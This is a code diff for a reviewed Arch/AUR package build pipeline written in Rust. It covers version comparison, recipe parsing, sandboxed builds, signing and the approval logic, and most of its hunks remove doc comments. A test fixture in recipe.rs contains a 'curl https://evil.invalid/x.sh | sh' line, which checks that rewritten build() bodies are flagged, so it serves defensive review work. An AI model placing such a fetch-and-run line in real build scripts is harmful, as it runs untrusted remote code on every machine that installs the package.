{ digest: String, } -/// The lease manifest: every dependency this build needs that we publish, -/// pinned to the exact version and digest of the artifact we serve. Official -/// packages arrive with the sandbox; anything unresolvable here would have been -/// `plan()`'s problem. fn lease_manifest(ctx: &Ctx) -> Result> { let recipe = recipe_at(&ctx.srcdir)?; let mut wanted: Vec = Vec::new(); @@ -225,7 +195,7 @@ fn lease_manifest(ctx: &Ctx) -> Result> { let mut out = Vec::new(); for dep in wanted { if dep == ctx.pb.name || recipe.pkgnames.contains(&dep) { - continue; // this build's own output is not its own dependency + continue; } if let Some((version, digest)) = db::index_artifact(&ctx.db, &dep)? { out.push(LeasePkg { name: dep, version, digest }); @@ -234,18 +204,12 @@ fn lease_manifest(ctx: &Ctx) -> Result> { Ok(out) } -/// Step 3 — make sure every source we reviewed is on disk and hashes to what the -/// candidate recorded. For a `SKIP` source this is the only verification that -/// exists (§8.1). fn sources(ctx: &Ctx) -> Result { let digests: Vec = serde_json::from_str(&ctx.src.source_digests_json).unwrap_or_default(); let mut verified = 0; for d in &digests { match d.kind.as_str() { - // Already materialized from the mirror at the pinned commit. "local" => verified += 1, - // VCS kinds (git/svn/hg/bzr): honouring upstream_pins at build time - // is deferred to P1 (§20); the pkgver assertion is the interim guard. "vcs" | "git" | "svn" | "hg" | "bzr" => verified += 1, _ => { let (digest, _size) = match cached_path(&ctx.db, &d.url, &d.digest) { @@ -268,8 +232,6 @@ fn sources(ctx: &Ctx) -> Result { )))) } -/// Step 4 — the belt-and-braces assertion that what we build is what was approved. -/// If upstream moved between approval and build, fail with both versions (§8.1). fn pkgver(ctx: &Ctx) -> Result { let recipe = recipe_at(&ctx.srcdir)?; let has_vcs = recipe.source_entries.iter().any(|s| s.is_vcs()); @@ -308,18 +270,12 @@ fn pkgver(ctx: &Ctx) -> Result { Ok(StepResult::Done(Some(text))) } -/// Step 5 — `makepkg -c -f` in the provisioned sandbox, with the log going to -/// the file the SSE tail reads. No `-s`: the lease set is already installed, and -/// resolving dependencies at build time is what the pinning model forbids. No -/// `-si`: the sandbox never holds the signing key. fn build(ctx: &Ctx) -> Result { let argv = vec![ctx.cfg.makepkg_bin.clone(), "-c".into(), "-f".into()]; let sbx = match sandbox_or_wait(ctx)? { Some(s) => s, None => return Ok(StepResult::Blocked(vec!["sandbox-pool".into()])), }; - // The sandbox streams the child's output here as it arrives; the SSE tail - // reads the same file. if let Some(parent) = ctx.log.parent() { let _ = std::fs::create_dir_all(parent); } @@ -331,7 +287,7 @@ fn build(ctx: &Ctx) -> Result { } }; let out = sbx.run(&Cmd::new(argv).in_dir(&ctx.srcdir), &mut on_log)?; - drop(on_log); // closes the log file before the outcome is recorded + drop(on_log); if !out.success() { return Err(Error::Subprocess { cmd: ctx.cfg.makepkg_bin.clone(), @@ -350,8 +306,6 @@ fn tail(b: &[u8]) -> String { lines[lines.len().saturating_sub(6)..].join(" | ") } -/// Step 6 — parse `.PKGINFO`/`.BUILDINFO` out of the produced artifacts (§10.1: -/// plain text in a tar, no libalpm needed). fn collect(ctx: &Ctx) -> Result { let mut pkgs = Vec::new(); let mut entries: Vec = std::fs::read_dir(&ctx.srcdir)? @@ -360,11 +314,6 @@ fn collect(ctx: &Ctx) -> Result { .filter(|p| p.to_string_lossy().ends_with(".pkg.tar.zst")) .collect(); entries.sort(); - // I9: the build is untrusted, and the control plane must not *depend* on the - // sandbox for its own safety. Everything below takes a path a PKGBUILD could - // have arranged to exist in the srcdir, and the next step copies whatever it - // points at into the store, from where we serve and sign it. So: no symlinks, - // and the resolved target must live inside this build's staging directory. let staging_root = ctx.staging.canonicalize()?;; for path in entries { if std::fs::symlink_metadata(&path).map(|m| m.file_type().is_symlink()).unwrap_or(true) { @@ -383,13 +332,9 @@ fn collect(ctx: &Ctx) -> Result { let path = resolved; let bytes = std::fs::read(&path)?; let (digest, size) = crate::hash::digest_file(&path)?; - // Read what the package says about itself out of the archive, rather - // than trusting what the build claimed on stdout (§10.1). let pkginfo = crate::pkginfo::pkginfo_text(&bytes) .map_err(|e| Error::invalid(format!("{}: {e}", path.display())))?; let meta = crate::pkginfo::parse_pkginfo(&pkginfo); - // `.BUILDINFO` is what the world snapshot is built from. Absent is not - // fatal; present-but-unparseable would be a lie we should not swallow. let buildinfo = crate::pkginfo::buildinfo_text(&bytes).unwrap_or_default(); let sig = path.with_extension("pkg.tar.zst.sig"); pkgs.push(CollectedPkg { @@ -419,8 +364,6 @@ fn collect(ctx: &Ctx) -> Result { Ok(StepResult::Done(Some(crate::hash::hex_str(&serde_json::to_string(&pkgs)?)))) } -/// Step 7 — dependencies satisfiable, no downgrade. Signature checking is not -/// here: the sandbox never sees the key, so the signature is made at ingest. fn verify(ctx: &Ctx) -> Result { let collect = Collect::load(&ctx.collect_path)?; let ours = db::our_package_names(&ctx.db)?; @@ -429,7 +372,6 @@ fn verify(ctx: &Ctx) -> Result { &db::index_version(&ctx.db, &p.name)?.unwrap_or_else(|| "0".into()), &p.version, ) { - // Downgrades are allowed but flagged (§16); the review already shows it. ctx.log_line(&format!(" note: {} is a downgrade from what we serve", p.name)); } let mut provided: std::collections::BTreeSet = ours.clone(); @@ -449,8 +391,6 @@ fn verify(ctx: &Ctx) -> Result { )?)))) } -/// Step 8 — move artifacts into the content-addressed store and record rows. -/// Staging stays disposable; a GC pass sweeps abandoned directories (§8.2). fn ingest(ctx: &Ctx) -> Result { let mut collect = Collect::load(&ctx.collect_path)?; for p in &mut collect.packages { @@ -463,8 +403,6 @@ fn ingest(ctx: &Ctx) -> Result { std::fs::copy(from, &dest)?; } p.path = dest.display().to_string(); - // Hub-side signing: over the exact bytes that just entered the store. A - // gpg failure fails the build closed. if !ctx.cfg.signing_key_id.is_empty() { let sigdest = ctx.cfg.store_path(&format!("{}-sig", p.digest)); if !sigdest.exists() { @@ -498,9 +436,6 @@ fn ingest(ctx: &Ctx) -> Result { Ok(()) })?; - // §10.1: the world snapshot is the build's installed set INTERSECTED with our - // own packages, filtered at ingest time. Left unfiltered, every package would - // be permanently stale because Arch never stops moving. let ours = db::our_package_names(&ctx.db)?; let mut members: Vec = Vec::new(); for p in &collect.packages { @@ -519,7 +454,6 @@ fn ingest(ctx: &Ctx) -> Result { ))))) } -/// Step 9 — the only externally visible step, serialized per repo (§9). fn publish(ctx: &Ctx) -> Result { let release_id = crate::pipeline::publish::publish(ctx)?; Ok(StepResult::Done(Some(format!("release:{release_id}")))) @@ -529,7 +463,6 @@ fn publish(ctx: &Ctx) -> Result { use std::path::PathBuf; -/// Read the recipe from a materialized tree, preferring `.SRCINFO`. pub(crate) fn recipe_at(dir: &Path) -> Result { let mut files = std::collections::BTreeMap::new(); for entry in walkdir::WalkDir::new(dir).max_depth(2).into_iter().filter_map(|e| e.ok()) { diff --git a/src/pkginfo.rs b/src/pkginfo.rs index be0aeb6..37646d0 100644 --- a/src/pkginfo.rs +++ b/src/pkginfo.rs @@ -1,6 +1,5 @@ use std::io::Read; -/// A package's own metadata, as `.PKGINFO` states it. #[derive(Debug, Clone, Default, PartialEq, Eq)] pub struct PkgInfo { pub name: String, @@ -19,8 +18,6 @@ pub struct PkgInfo { pub replaces: Vec, } -/// One entry of a `.BUILDINFO` `installed` block: a package that was present in -/// the build root. The signature field is optional in real files. #[derive(Debug, Clone, PartialEq, Eq)] pub struct Installed { pub name: String, @@ -28,7 +25,6 @@ pub struct Installed { pub arch: String, } -/// Extract one named member from a zstd-compressed tar. fn member(bytes: &[u8], suffix: &[u8]) -> Result { let dec = zstd::Decoder::new(std::io::Cursor::new(bytes)).map_err(|e| e.to_string())?; let mut ar = tar::Archive::new(dec); @@ -43,19 +39,14 @@ fn member(bytes: &[u8], suffix: &[u8]) -> Result { Err(format!("no {} in package", String::from_utf8_lossy(suffix))) } -/// `.PKGINFO` as raw text. pub fn pkginfo_text(pkg_bytes: &[u8]) -> Result { member(pkg_bytes, b".PKGINFO") } -/// `.BUILDINFO` as raw text. Absent on some hand-built packages; callers decide -/// whether that is fatal. pub fn buildinfo_text(pkg_bytes: &[u8]) -> Result { member(pkg_bytes, b".BUILDINFO") } -/// Parse `.PKGINFO`. Unknown keys are ignored rather than rejected: makepkg adds -/// fields over time and a new one must not stop us publishing. pub fn parse_pkginfo(text: &str) -> PkgInfo { let mut p = PkgInfo::default(); for (k, v) in fields(text) { @@ -90,7 +81,6 @@ pub fn parse_installed(text: &str) -> Vec { for line in text.lines() { if line.trim_start().starts_with("installed") { in_block = true; - // Everything after `installed =` on this line is the first entry. if let Some(rest) = line.split_once('=') { push_entry(&mut out, rest.1); } @@ -99,7 +89,6 @@ pub fn parse_installed(text: &str) -> Vec { if !in_block { continue; } - // The block is indented; the first unindented line ends it. if !line.starts_with(' ') && !line.starts_with('\t') { in_block = false; continue; @@ -120,12 +109,10 @@ fn push_entry(out: &mut Vec, line: &str) { } } -/// `key = value` pairs, with repeated keys preserved in order. fn fields(text: &str) -> impl Iterator { text.lines().filter_map(|l| l.split_once('=')).map(|(k, v)| (k.trim(), v.trim())) } -/// All values of one key. pub fn values_of(text: &str, key: &str) -> Vec { fields(text) .filter(|(k, _)| *k == key) diff --git a/src/pkgver/mod.rs b/src/pkgver/mod.rs index bd77a01..450d70f 100644 --- a/src/pkgver/mod.rs +++ b/src/pkgver/mod.rs @@ -1,7 +1,6 @@ use std::cmp::Ordering; use std::fmt; -/// `epoch:pkgver-pkgrel` as pacman displays it, with the epoch omitted when 0. pub fn full_version(epoch: &str, pkgver: &str, pkgrel: &str) -> String { let e = epoch.trim(); if e.is_empty() || e == "0" { @@ -11,7 +10,6 @@ pub fn full_version(epoch: &str, pkgver: &str, pkgrel: &str) -> String { } } -/// Parse a full `epoch:pkgver-pkgrel` string back into its parts. pub fn split_full_version(v: &str) -> (String, String, String) { let (epoch, rest) = match v.split_once(':') { Some((e, r)) => (e.to_string(), r.to_string()), @@ -52,7 +50,6 @@ impl Version { } } -/// Compare `epoch:pkgver-pkgrel` triples the way pacman does. pub fn compare( epoch_a: i64, pkgver_a: &str, @@ -71,7 +68,6 @@ pub fn compare( } } -/// Compare two full version strings (`1.2.3-1`, `1:2-3`). pub fn vercmp(a: &str, b: &str) -> Ordering { let va = Version::parse(a); let vb = Version::parse(b); @@ -82,7 +78,6 @@ fn is_alnum(c: u8) -> bool { c.is_ascii_alphanumeric() } -/// The chunk starting at `k`, and the index just past it. enum Chunk<'a> { Num(u128), Alpha(&'a str), @@ -98,7 +93,6 @@ fn read_chunk(s: &[u8], k: usize) -> (Chunk<'_>, usize) { while i < s.len() && s[i].is_ascii_digit() { i += 1; } - // Leading zeros are not significant. let digits = std::str::from_utf8(&s[k..i]).unwrap_or("0").trim_start_matches('0'); (Chunk::Num(digits.parse::().unwrap_or(0)), i) } else if s[k].is_ascii_alphabetic() { @@ -112,25 +106,10 @@ fn read_chunk(s: &[u8], k: usize) -> (Chunk<'_>, usize) { } } -/// Was the character before `k` a separator? A chunk at the very start of a -/// version counts as attached. fn preceded_by_separator(s: &[u8], k: usize) -> bool { k > 0 && !is_alnum(s[k - 1]) } -/// ALPM's `vercmp`, character-wise. Three rules do all the work: -/// -/// 1. A numeric chunk is newer than an alphabetic chunk at the same position, so -/// `1.0.1` > `1.0.a`. -/// 2. When one string runs out, the other side decides by its *next raw -/// character*: a letter there makes the exhausted string newer (`1.0` > -/// `1.0a`), anything else makes it older (`1.0` < `1.0.1`). -/// 3. An alphabetic chunk following a separator is newer than one glued to the -/// previous chunk, whatever the letters are: `1.0.a` > `1.0z`. Versions -/// differing only in where the dot sits are *not* equal. -/// -/// The cross-product test in `tests/versions.rs` checks this against pacman's own -/// `vercmp` over ~1100 pairs. pub fn vercmp_string(a: &str, b: &str) -> Ordering { let (a, b) = (a.as_bytes(), b.as_bytes()); let (mut i, mut j) = (0usize, 0usize); @@ -195,7 +174,6 @@ pub fn vercmp_string(a: &str, b: &str) -> Ordering { return x.cmp(y); } } - // A numeric chunk is always newer than an alphabetic one. (Chunk::Num(_), Chunk::Alpha(_)) => return Ordering::Greater, (Chunk::Alpha(_), Chunk::Num(_)) => return Ordering::Less, _ => {} @@ -205,12 +183,10 @@ pub fn vercmp_string(a: &str, b: &str) -> Ordering { } } -/// True if `new` is a downgrade relative to `current` (§16: maintainer reverted). pub fn is_downgrade(current: &str, new: &str) -> bool { vercmp(current, new) == Ordering::Greater } -/// True if `new` is exactly equal to `current` in the pacman sense. pub fn same_version(current: &str, new: &str) -> bool { vercmp(current, new) == Ordering::Equal } @@ -219,17 +195,11 @@ pub fn same_version(current: &str, new: &str) -> bool { #[derive(Debug, Clone, PartialEq, Eq)] pub enum DepOp { - /// `foo` Any, - /// `foo=1.2` Eq, - /// `foo>=1.2` Ge, - /// `foo<=1.2` Le, - /// `foo>1.2` Gt, - /// `foo<1.2` Lt, } @@ -254,16 +224,11 @@ pub struct Dep { } impl Dep { - /// Parse one dependency string, e.g. `python>=3.11`, `gcc`, `foo=1.2-3`. - /// - /// Returns `None` for an empty or malformed string rather than failing the - /// whole recipe: a weird `optdepends` line must not break detection. pub fn parse(s: &str) -> Option { let s = s.trim(); if s.is_empty() { return None; } - // optdepends carry a `: description` suffix. let s = match s.split_once(':') { Some((head, _desc)) if !head.contains(['>', '<', '=']) => head, _ => s, @@ -290,12 +255,10 @@ impl Dep { Some(Dep { name: s.trim().to_string(), op: DepOp::Any, version: None }) } - /// The bare package name, which is what we resolve against our index. pub fn name(&self) -> &str { &self.name } - /// Does a candidate version satisfy this constraint? pub fn satisfied_by(&self, version: &str) -> bool { match self.op { DepOp::Any => true, @@ -317,12 +280,10 @@ impl fmt::Display for Dep { } } -/// Parse a whole `depends=()` style list, dropping unparseable entries. pub fn parse_deps(list: &[String]) -> Vec { list.iter().filter_map(|s| Dep::parse(s)).collect() } -/// Strip a `name=version` constraint down to the name, for index resolution. pub fn dep_names(list: &[String]) -> Vec { parse_deps(list).into_iter().map(|d| d.name).collect() } @@ -337,7 +298,6 @@ mod tests { #[test] fn alpm_version_ordering() { - // The classic ALPM test vectors. assert_eq!(ord("1.0-1", "1.0-1"), Ordering::Equal); assert_eq!(ord("1.0-1", "1.0-2"), Ordering::Less); assert_eq!(ord("1.1-1", "1.0-1"), Ordering::Greater); @@ -361,7 +321,6 @@ mod tests { #[test] fn pkgrel_reset_is_a_new_version() { - // §3: a pkgrel reset is a major signal. assert_eq!(ord("1.0-7", "1.0-1"), Ordering::Greater); assert!(is_downgrade("1.0-7", "1.0-1")); } diff --git a/src/recipe.rs b/src/recipe.rs index cfdb4c6..3599ded 100644 --- a/src/recipe.rs +++ b/src/recipe.rs @@ -3,11 +3,9 @@ use std::collections::BTreeMap; use crate::db::model::{Recipe, SourceEntry}; use crate::error::{Error, Result}; -/// Parse `.SRCINFO`. Sections are `pkgbase = X` followed by `key = value` lines, -/// then one `pkgname = Y` section per emitted package. pub fn parse_srcinfo(text: &str) -> Result { let mut r = Recipe::default(); - let mut current: Option = None; // Some(pkgname) when inside a pkgname section + let mut current: Option = None; let mut base_seen = false; for line in text.lines() { let line = line.trim_end(); @@ -49,7 +47,6 @@ pub fn parse_srcinfo(text: &str) -> Result { #[allow(clippy::too_many_arguments)] fn push_field(r: &mut Recipe, in_pkg: bool, pkg: Option<&str>, k: &str, v: &str) { - // Fields that belong to the base only are ignored inside pkgname sections. match k { "pkgver" if !in_pkg => r.pkgver = v.into(), "pkgrel" if !in_pkg => r.pkgrel = v.into(), @@ -83,18 +80,12 @@ fn push_field(r: &mut Recipe, in_pkg: bool, pkg: Option<&str>, k: &str, v: &str) } } -/// Minimal `PKGBUILD` variable reader: top-level `var=value` and `var=(...)` -/// assignments, including arrays spanning several lines and quoted elements. -/// -/// A fallback for recipes without `.SRCINFO`; it deliberately does not evaluate -/// bash. Anything it cannot read is reported, not guessed. pub fn parse_pkgbuild(text: &str) -> Result { let vars = pkgbuild_vars(text); let mut r = Recipe::default(); let get = |k: &str| vars.get(k).cloned().unwrap_or_default(); r.pkgbase = get("pkgbase").into_iter().next().unwrap_or_default(); if r.pkgbase.is_empty() { - // A PKGBUILD without pkgbase emits one package named pkgname[0]. r.pkgbase = get("pkgname").into_iter().next().unwrap_or_default(); } if r.pkgbase.is_empty() { @@ -147,7 +138,6 @@ pub fn parse_pkgbuild(text: &str) -> Result { Ok(r) } -/// Extract top-level assignments from a PKGBUILD. fn pkgbuild_vars(text: &str) -> BTreeMap> { let mut out: BTreeMap> = BTreeMap::new(); let mut lines = text.lines().peekable(); @@ -156,15 +146,12 @@ fn pkgbuild_vars(text: &str) -> BTreeMap> { if t.starts_with('#') || t.is_empty() { continue; } - // Stop at the first function definition: variables inside functions are - // not part of the recipe metadata we diff. if t.contains("()") && t.contains('{') { break; } let Some((name, rest)) = split_assign(t) else { continue }; let rest = rest.trim(); if let Some(inner) = rest.strip_prefix('(') { - // Array: may close on this line or later ones. let mut buf = String::from(inner); while !buf.contains(')') { match lines.next() { @@ -187,7 +174,6 @@ fn pkgbuild_vars(text: &str) -> BTreeMap> { out } -/// `name=value` where the line is an assignment (no spaces before `=`). fn split_assign(t: &str) -> Option<(String, String)> { let (name, rest) = t.split_once('=')?; let name = name.trim(); @@ -200,7 +186,6 @@ fn split_assign(t: &str) -> Option<(String, String)> { { return None; } - // `foo[1]=x` and similar are not metadata. if name.contains('[') { return None; } @@ -215,7 +200,6 @@ fn unquote(s: &str) -> String { s.strip_suffix('\'').unwrap_or(s).to_string() } -/// Split `(a "b c" 'd e')` into elements. fn split_array_elements(s: &str) -> Vec { let mut out = Vec::new(); let mut cur = String::new(); @@ -252,8 +236,6 @@ fn split_array_elements(s: &str) -> Vec { out.into_iter().filter(|e| !e.is_empty()).collect() } -/// Parse `source=()` entries into structured form (§5.2 needs the VCS refs, -/// §5.3 needs the kind of each entry). pub fn parse_source_entries(list: &[String]) -> Result> { let mut out = Vec::new(); for (index, raw) in list.iter().enumerate() { @@ -261,7 +243,6 @@ pub fn parse_source_entries(list: &[String]) -> Result> { if s.is_empty() { return Err(Error::invalid("empty source entry")); } - // `filename::url` (filename first, per makepkg). let (filename, url) = match s.split_once("::") { Some((f, u)) => (Some(f.to_string()), u.to_string()), None => (None, s.to_string()), @@ -315,10 +296,6 @@ pub fn parse_source_entries(list: &[String]) -> Result> { Ok(out) } -/// Build a recipe from a materialized AUR tree. -/// -/// `.SRCINFO` wins when present — it is what `makepkg` itself reports and every -/// real AUR repo ships it. Otherwise we fall back to reading the `PKGBUILD`. pub fn recipe_from_tree(files: &BTreeMap) -> Result { let pkgbuild_path = files .keys() @@ -339,7 +316,6 @@ pub fn recipe_from_tree(files: &BTreeMap) -> Result { Ok(r) } -/// Text files we render diffs for (§6 "recipe diff" panel). pub fn is_diffable(path: &str) -> bool { let ext = path.rsplit('.').next().unwrap_or(""); !matches!( @@ -348,12 +324,6 @@ pub fn is_diffable(path: &str) -> bool { ) } -/// The executable part of a `PKGBUILD`: everything from the first function -/// definition onward. -/// -/// The assignments above the functions are metadata; the functions are code that runs -/// here and, through the package, everywhere it installs. -/// scorer need that line drawn in the same place (§6 m-2). pub fn pkgbuild_bodies(text: &str) -> String { let mut out = String::new(); let mut inside = false; @@ -374,17 +344,12 @@ pub fn pkgbuild_bodies(text: &str) -> String { out } -/// True when the diff touches a function body rather than only the assignments -/// above them. pub fn bodies_changed(old_src: &str, new_src: &str) -> bool { pkgbuild_bodies(old_src) != pkgbuild_bodies(new_src) } -/// `sha256sums=('SKIP')`: the recipe declining to verify a source (§5.3). pub const SKIP: &str = "SKIP"; -/// The checksum a recipe declares for source entry `index`, `sha256sums` first -/// and `b2sums` second; `None` when the recipe declares nothing for it. pub fn declared_sums(recipe: &Recipe, index: usize) -> Option { recipe .sha256sums @@ -394,16 +359,10 @@ pub fn declared_sums(recipe: &Recipe, index: usize) -> Option { .filter(|s| !s.is_empty()) } -/// True when a declared checksum is an actual hex digest of the length we -/// expect, rather than `SKIP` or a typo a maintainer left behind. pub fn is_hex_digest(s: &str) -> bool { (s.len() == 64 || s.len() == 128) && s.chars().all(|c| c.is_ascii_hexdigit()) } -/// The non-VCS sources the recipe refuses to verify (§5.3): `SKIP`, a malformed -/// digest, or no digest at all. A question about the *recipe*, so it lives with -/// the recipe — the watcher and the risk scorer both ask it, and neither should -/// own the answer. pub fn skip_on_non_vcs(recipe: &Recipe) -> Vec { recipe .source_entries @@ -422,15 +381,10 @@ mod tests { #[test] fn a_rewritten_body_is_a_change_even_when_the_functions_are_named() { - // The drift this pins (§6 m-2): the diff panel used to compare only the - // function *header* lines, so a `build()` whose body was rewritten to - // `curl | sh` looked unchanged to the reviewer while the risk scorer, - // with its own copy of the rule, said otherwise. let before = "pkgver=1.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; let after = "pkgver=1.0\nbuild() {\n curl https://evil.invalid/x.sh | sh\n}\npackage() {\n make install\n}\n"; assert!(bodies_changed(before, after), "a rewritten build() body must read as code changing"); assert!(!bodies_changed(before, before)); - // Metadata above the functions is not code. let bumped = "pkgver=2.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; assert!(!bodies_changed(before, bumped), "a version bump is not a code change"); } diff --git a/src/review/approve.rs b/src/review/approve.rs index c8cd99d..23afee3 100644 --- a/src/review/approve.rs +++ b/src/review/approve.rs @@ -2,8 +2,6 @@ use crate::db::{self, approvals, candidates, CandidateState, *}; use crate::error::{Error, Result}; use crate::time; -/// Why an approval was refused (§7.1a). Rendered as HTTP 409 with the current -/// diff, plus a CLI message. #[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)] pub enum Stale { #[error("review is no longer pending (state: {state})")] @@ -12,7 +10,6 @@ pub enum Stale { Identity { expected: String, actual: String }, #[error("the diff changed while you were looking (shown {expected}, now {actual})")] Diff { expected: String, actual: String }, - /// The base moved: a newer version was accepted while the review was open. #[error("a newer version was accepted since this review was opened")] Base { expected: Option, actual: Option }, } @@ -27,24 +24,14 @@ pub struct Approval { pub identity_hash: String, } -/// Why a decision did not happen (§7.1a, §6 M-3). -/// -/// Two families, and the difference is the whole point: `Stale` means the -/// reviewer's screen no longer matches the database, so the answer is to look -/// again; `System` means the database itself refused, and looking again changes -/// nothing. #[derive(Debug, thiserror::Error)] pub enum ApproveError { - /// What is stored is not what was displayed. #[error(transparent)] Stale(#[from] Stale), - /// The write itself failed; nothing about the review is at fault. #[error("the decision could not be recorded: {0}")] System(#[from] Error), } -/// Approve a candidate. Returns the approval row on success, or the reason the -/// approval was refused. pub fn approve( db: &Db, actor: &str, @@ -75,7 +62,6 @@ pub fn approve( if subject.diff_digest != dd { return Ok(Err(ApproveError::Stale(Stale::Diff { expected: dd.clone(), actual: subject.diff_digest }))); } - // Base is still the accepted release (I2, end to end). if base != current_base { return Ok(Err(ApproveError::Stale(Stale::Base { expected: base, actual: current_base }))); } @@ -114,12 +100,9 @@ pub fn approve( identity_hash: ih, })) }) - // A failed transaction is a system failure, never a stale review. .map_err(ApproveError::System)? } -/// Reject a candidate. Rejection is remembered per identity so the watcher stops -/// nagging about the same version (§7.1), and can be re-opened later. pub fn reject(db: &Db, actor: &str, candidate_id: i64, note: &str) -> Result<()> { let actor = actor.to_string(); let note = note.to_string(); @@ -149,11 +132,8 @@ pub fn reject(db: &Db, actor: &str, candidate_id: i64, note: &str) -> Result<()> }) } -/// One item of a bulk decision, and what happened to it (§7.4). #[derive(Debug)] pub struct BulkItem { - /// `None` when the id matched nothing — which a caller must be able to - /// report, so the row cannot be the key. pub candidate: Option, pub outcome: BulkOutcome, } @@ -164,47 +144,31 @@ impl BulkItem { } } -/// What a bulk decision did with one item (§7.4). #[derive(Debug)] pub enum BulkOutcome { - /// Approved; the approval row is here so the caller can queue the build. Approved(Approval), - /// A rejection records no approval, so there is no row to hand back. Rejected, - /// Not decided, and why. Refused(BulkRefusal), } -/// Why a bulk decision skipped one of its items (§7.4). Each reason is its own -/// variant because they are different answers to give a human. #[derive(Debug, thiserror::Error)] pub enum BulkRefusal { - /// High-risk items need their own confirmation, per item (§7.4). #[error("high risk: confirm it individually")] HighRiskUnconfirmed, - /// The form said neither approve nor reject. #[error("unknown decision `{0}`")] UnknownDecision(String), - /// The review is gone — deleted, or never existed. #[error("no such review")] NotFound, - /// The review no longer matches what was displayed. #[error(transparent)] Stale(Stale), - /// The write itself failed. #[error("{0}")] System(Error), } -/// §7.4 bulk decision. High-risk items are refused unless confirmed -/// individually, and one refused item never rolls back the ones that were -/// decided. `items` carries the identity and diff each review was displayed -/// with, so the approval-echo rule applies to bulk exactly as to a single -/// approval. pub fn bulk( db: &Db, actor: &str, - items: &[(i64, String, String)], // (candidate_id, identity_hash, diff_digest) + items: &[(i64, String, String)], decision: &str, confirmed: &[i64], ) -> Result> { @@ -240,8 +204,6 @@ pub fn approval_for(db: &Db, candidate_id: i64) -> Result> approvals::for_candidate(db, candidate_id) } -/// Withdraw a published release (§9 `repo-remove` path, decision 23: warns, -/// does not block). pub fn withdraw(db: &Db, actor: &str, release_id: i64, reason: &str) -> Result<()> { let actor = actor.to_string(); let reason = reason.to_string(); diff --git a/src/review/candidates.rs b/src/review/candidates.rs index d4c49e8..53361fe 100644 --- a/src/review/candidates.rs +++ b/src/review/candidates.rs @@ -8,23 +8,13 @@ pub use crate::db::candidates::{ #[derive(Debug, Clone, PartialEq, Eq)] pub enum Upsert { - /// A new review row was opened. Created { id: i64, kind: String }, - /// The open review was updated in place; no new row, `base` untouched (I7). Collapsed { id: i64, revision: i64 }, - /// A human had already seen the old diff, so it was frozen as `superseded` - /// and a fresh review opened (decision 8). Superseded { old: i64, new: i64 }, - /// This exact identity was rejected before; do not nag (§7.1). PreviouslyRejected, - /// Nothing changed relative to what is already recorded. Unchanged, } -/// Insert-or-collapse a candidate for `pb`. -/// -/// `accepted` is the pkgbase's current accepted release, or `None` when this is -/// a first introduction (§7.1b). pub fn upsert_candidate(db: &Db, pb: &Pkgbase, accepted: Option<&ReleaseRow>, nc: &NewCandidate) -> Result { let kind = if accepted.is_some() { db::candidate_kind::NEW_VERSION } else { db::candidate_kind::FIRST_INTRODUCTION }; let base = accepted.map(|a| a.id); @@ -40,14 +30,11 @@ pub fn upsert_candidate(db: &Db, pb: &Pkgbase, accepted: Option<&ReleaseRow>, nc let revision = sql::collapse_in(tx, &open, &nc)?; return Ok(Upsert::Collapsed { id: open.id, revision }); } - // A human saw the old diff: freeze it for the audit trail and open - // a fresh review against the same base. sql::supersede_in(tx, open.id)?; let new_id = sql::insert_in(tx, pkgbase_id, base, kind, &nc)?; return Ok(Upsert::Superseded { old: open.id, new: new_id }); } - // A previously rejected identity must not be re-raised. if sql::rejected_before_in(tx, pkgbase_id, &nc.identity_hash)? { return Ok(Upsert::PreviouslyRejected); } diff --git a/src/review/diff.rs b/src/review/diff.rs index 519d9ae..42467f0 100644 --- a/src/review/diff.rs +++ b/src/review/diff.rs @@ -7,11 +7,9 @@ use crate::git; pub struct Panel { pub name: &'static str, pub title: &'static str, - /// Unified-diff text, or a readable rendering for panels that are not diffs. pub body: String, } -/// Everything a reviewer needs for one candidate. pub fn panels(cfg: &Config, db: &Db, c: &CandidateRow, base: Option<&ReleaseRow>) -> Result> { let mut out = Vec::new(); let snap = db::snapshot_by_id(db, c.snapshot_id)?; @@ -44,8 +42,6 @@ pub fn panels(cfg: &Config, db: &Db, c: &CandidateRow, base: Option<&ReleaseRow> out.push(install_delta(old, new)); } } else { - // §7.1b first_introduction: no diff pane. The full recipe is rendered - // readably instead, by the template. out.push(Panel { name: "recipe_full", title: "Full recipe", @@ -57,7 +53,6 @@ pub fn panels(cfg: &Config, db: &Db, c: &CandidateRow, base: Option<&ReleaseRow> Ok(out) } -/// The recipe a candidate recorded, if we kept the snapshot. fn recipe_of(db: &Db, snapshot_id: Option) -> Option { let id = snapshot_id?; let snap = db::snapshot_by_id(db, id).ok().flatten()?; @@ -68,8 +63,6 @@ fn candidate_snapshot_id(db: &Db, candidate_id: i64) -> Option { db::candidate_snapshot_id(db, candidate_id).ok().flatten() } -/// `source=()` entries added, removed, or moved to a different host (§6). A new -/// host is the classic supply-chain shape and must be impossible to miss. fn source_delta(old: &Recipe, new: &Recipe) -> Panel { let mut body = String::new(); for s in &new.source { @@ -90,7 +83,6 @@ fn source_delta(old: &Recipe, new: &Recipe) -> Panel { for h in old_hosts.difference(&new_hosts) { body.push_str(&format!("! source host gone: {h}\n")); } - // A declared checksum that became SKIP is a weakening, not a change. for (i, sum) in new.sha256sums.iter().enumerate() { if sum.eq_ignore_ascii_case("SKIP") { match old.sha256sums.get(i) { @@ -110,8 +102,6 @@ fn source_delta(old: &Recipe, new: &Recipe) -> Panel { Panel { name: "sources", title: "Source delta", body } } -/// Dependency changes, resolved against our own index where we can say what it -/// means: "this will pull in a package we have never published". fn dependency_delta(old: &Recipe, new: &Recipe) -> Panel { let mut body = String::new(); for (label, o, n) in [ @@ -137,7 +127,6 @@ fn dependency_delta(old: &Recipe, new: &Recipe) -> Panel { Panel { name: "deps", title: "Dependency delta", body } } -/// Everything that changes *how* it is built rather than what is built. fn build_env_delta(old: &Recipe, new: &Recipe) -> Panel { let mut body = String::new(); for o in &new.options { @@ -174,7 +163,6 @@ fn build_env_delta(old: &Recipe, new: &Recipe) -> Panel { Panel { name: "buildenv", title: "Build-env delta", body } } -/// `.install` hooks are arbitrary code that runs on every consumer machine. fn install_delta(old: &Recipe, new: &Recipe) -> Panel { let mut body = String::new(); match (&old.install, &new.install) { @@ -184,9 +172,6 @@ fn install_delta(old: &Recipe, new: &Recipe) -> Panel { _ => {} } if crate::recipe::bodies_changed(&old.pkgbuild, &new.pkgbuild) { - // The recipe diff shows the text; this panel calls out that the - // executable part moved, which is what actually runs — on this machine - // and on every machine that installs the result. body.push_str("! build()/package() bodies changed — this is code that runs here and on every installer\n"); } Panel 